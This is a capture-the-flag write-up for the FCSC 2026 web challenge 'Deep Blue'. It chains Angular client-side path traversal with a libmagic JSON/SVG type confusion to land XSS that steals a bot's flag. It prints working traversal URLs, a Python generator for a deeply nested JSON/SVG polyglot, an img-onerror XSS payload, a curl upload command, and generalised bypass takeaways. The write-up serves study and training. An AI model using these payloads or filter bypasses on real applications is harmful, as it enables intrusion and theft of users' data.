Note
Angular fetches /api/.../{id}.json and renders it via bypassSecurityTrustHtml. Use client-side path traversal in the route id to redirect that fetch to an uploaded file, and a >500-deep JSON (with SVG magic bytes up front) to fool PHP's mime_content_type into accepting it as image/svg+xml while Angular still parses it as the article JSON — landing XSS that reads the bot's flag.
Deep Blue — Angular CSPT + libmagic JSON/SVG type confusion
CTF: FCSC 2026 · Category: Web (client-side) · Author: Mizu
Challenge overview
Layered stack: nginx → Apache (serving an Angular SPA + a PHP image API at /api/v1/image and /php).
The bot holds an httpOnly FLAG cookie; the flag is returned by the image API only to a request
carrying that cookie:
// image.php (action=read)
$filename = basename($_GET['filename']);
if ($filename === 'secret-recipe.txt') {
if (!isset($_COOKIE['FLAG']) || $_COOKIE['FLAG'] !== getenv('FLAG')) { http_response_code(403); ... }
echo json_encode(['success'=>true, 'content'=>file_get_contents($filePath), 'flag'=>getenv('FLAG')]);
}
Cookie is httpOnly, so we need same-origin JS in the bot that does
fetch('/api/v1/image?action=read&filename=secret-recipe.txt') and console.logs the flag (the bot
relays console output).
The XSS sink: Angular bypassSecurityTrustHtml
The article component fetches a JSON file named after the route id and renders its content with
bypassSecurityTrustHtml → [innerHTML] — i.e. no sanitization:
// article.ts
trustHtml(html: string): SafeHtml { return this.sanitizer.bypassSecurityTrustHtml(html); }
this.route.params.subscribe(p => this.fetchArticle(p['id']));
this.http.get<ArticleData>(`/api/v3/blue/blog/articles/${id}.json`).subscribe(...)
@for (paragraph of article()!.content.split("\n\n"); track $index) {
<p [innerHTML]="trustHtml(paragraph)"></p>
}
So if we control the JSON the component loads, its content becomes live HTML.
Step 1 — CSPT: redirect the article fetch
id flows unsanitized into the fetch path. Encoded backslash traversal plus a # to drop the appended
.json makes Angular fetch an arbitrary endpoint:
/article/..%5C..%5C..%5C..%5Cv1%5Cimage%3Faction%3Dread%26filename%3D<FILE>.svg%23
-> GET /api/v1/image?action=read&filename=<FILE>.svg#.json
Angular's HttpClient ignores the response Content-Type and parses whatever comes back as JSON (by
design — see angular/angular#36274). So if we can serve a file that is valid JSON, it becomes the article.
(Intended solution used Angular matrix params instead: /article/x;id=..%2F..%2F... — same effect.)
Step 2 — upload a file that is "an image" to PHP but JSON to Angular
The uploader keys the saved extension off mime_content_type and only accepts image/*:
$mimeType = mime_content_type($tmpPath); // libmagic
if (strpos($mimeType, 'image/') !== 0) { /* reject */ }
$ext = ['image/svg+xml'=>'svg', 'application/json'=>'json', ...][$mimeType] ?? 'bin';
We need one file that mime_content_type (libmagic) calls image/svg+xml but that is still valid JSON.
libmagic gives up its JSON detector past ~500 nesting levels and falls back to scanning magic bytes — so a
deeply nested JSON with SVG/XML markers near the front is detected as SVG, while remaining
syntactically valid JSON:
def make_deep_nested(depth):
v = "end"
for _ in range(depth): v = [v]
return v
payload = {
"marker1": "<!DOCTYPE svg", "marker2": "<svg", "marker3": "<?xml version=\"1.0\"?>",
"id": 1337, "title": "Deep Blue", "author": "cnf", "date": "...", "image": None,
"content": "<img src=x onerror=\"fetch('/api/v1/image?action=read&filename=secret-recipe.txt').then(r=>r.json()).then(x=>console.log(x.flag))\">",
"deep": make_deep_nested(650),
}
Upload it:
curl -i -F 'image=@payload.json' 'http://deep-blue/api/v1/image?action=upload'
# {"success":true,"id":"cbf4...","filename":"cbf4...f2.svg","mime":"image\/svg+xml"}
Step 3 — fire it at the bot
Point the bot at the CSPT URL referencing the uploaded .svg:
http://deep-blue-nginx/article/..%5C..%5C..%5C..%5Cv1%5Cimage%3Faction%3Dread%26filename%3Dcbf4...f2.svg%23
Angular fetches it, parses it as the article JSON, renders content via bypassSecurityTrustHtml → the
<img onerror> runs in the bot's origin, reads secret-recipe.txt (its FLAG cookie is sent), and
console.logs the flag:
FCSC{cf501ba6e28b6a8050f1c58c6ff1ebd7f24fe04ab03a7e84c82eb7819a1842c5}
Takeaways (generalized technique)
- CSPT (Client-Side Path Traversal): a route/path value that flows into a client
fetch()URL lets you redirect the request to another endpoint (traversal +#to drop a forced suffix; or Angular matrix params;k=v). Combine with an upload to serve your own "data" file. - Angular
HttpClientignoresContent-Typeand parses the body per the declared TypeScript type — serve valid JSON regardless of how the server labels it. bypassSecurityTrustHtml+[innerHTML]= a deliberate XSS sink; controlling the bound data is game over.- libmagic type confusion: deeply nested JSON (>~500 levels) defeats libmagic's JSON detector, so
early magic bytes (
<?xml,<svg,%PDF, …) decide the type — pass an uploadimage/*filter with a file that downstream code still treats as JSON/HTML.
Sources & references
- Challenge source:
fcsc2026/web/deep_blue - libmagic inconsistencies: https://lab.ctbb.show/research/libmagic-inconsistencies-that-lead-to-type-confusion
- CSPT + file upload: https://blog.doyensec.com/2025/01/09/cspt-file-upload.html · Angular Content-Type: https://github.com/angular/angular/issues/36274